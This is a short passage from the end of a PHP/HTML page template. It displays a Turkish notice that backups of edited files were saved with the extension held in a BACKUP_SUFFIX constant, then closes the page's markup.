  Düzenlenen dosyaların yedeği <code><?php echo BACKUP_SUFFIX; ?></code> uzantısıyla alındı.</div>
</div>
</body>
</html>
